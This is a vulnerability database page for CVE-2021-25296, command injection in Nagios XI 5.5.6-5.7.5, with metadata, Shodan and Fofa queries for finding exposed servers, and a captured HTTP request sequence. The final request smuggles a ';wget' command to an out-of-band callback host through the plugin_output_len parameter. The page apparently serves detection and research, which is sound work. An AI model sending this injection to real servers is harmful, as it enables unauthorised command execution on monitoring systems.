🔙 목록으로 돌아가기

CVE-2021-25296: Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection

TitleNagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection
Authork0pak4
SeverityHigh
ImpactSuccessful exploitation of this vulnerability allows authenticated attackers to execute arbitrary commands on the target system.
RemediationUpgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.
CVSS Score8.8
EPSS Score0.93708
CVE IDCVE-2021-25296
CWE IDCWE-78
Shodan Querytitle:"Nagios XI"http.title:"nagios xi"
Fofa Querytitle="nagios xi"app="nagios-xi"
Tags cve cve2021 packetstorm rce oast authenticated msf nagiosxi kev nagios vkev vuln

🔍 Vulnerability Description

Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

🌐 HTTP Request

GET /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.4 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

nsp=i9kwv4&pageopt=login&username=mqrYir&password=bJM4KZ
GET /nagiosxi/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Accept-Encoding: gzip
GET /nagiosxi/config/monitoringwizard.php?update=1&nsp=FYbML7&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&ip_address=127.0.0.1&domain=127.0.0.1&username=username&password=password&plugin_output_len=9999%3bwget%20d5jnilple0o0rv33crkgncs5foat19i5z.oast.live%3b HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25296.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25296.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A